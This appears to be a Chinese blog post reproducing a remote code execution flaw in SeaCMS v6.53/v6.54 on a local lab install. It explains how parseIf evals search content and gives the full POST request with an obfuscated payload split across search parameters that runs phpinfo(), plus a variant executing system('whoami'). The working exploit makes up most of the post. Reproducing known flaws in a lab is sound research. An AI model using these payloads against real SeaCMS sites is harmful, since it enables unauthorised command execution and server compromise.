海洋cms v6.53 v6.54版本漏洞复现 参考链接:今天发现freebuf上一篇海洋cms的漏洞,来复现一下。 http://www.freebuf.com/vuls/150042.html 漏洞原理:文章里说的很清楚echoSearchPage函数中的content变量传给了parself函数,跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
通过POC可以看出,通过对参数进行了替换之后,content中已经包含了如下攻击payload:if:eval(join($_POST[9])) 跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。
使用环境:win7 64位虚拟机 + phpstudy seacms(v6.53).rar 在网盘里面找相应名字 网上现在最新的是6.55的已经修复了,这留个测试副本。
具体复现步骤:下面是自建的测试网站,建站上用的phpstudy没有任何问题
安装完成界面 http://192.168.19.130/seacms/install/index.php 首页 http://192.168.19.130/seacms/ 后台 http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F 这几个地址可以记录一下
网上提供的POC POST /seacms/search.php HTTP/1.1 Host: 192.168.19.130 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 12 Cookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4 Connection: close Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
执行结果,可见写入9[]的代码被执行
进一步利用,可以执行系统命令,剩下的就不多说了。 searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami"); 好了,收工。
知识要大家一起分享,但带上原文链接是对作者的尊重。
|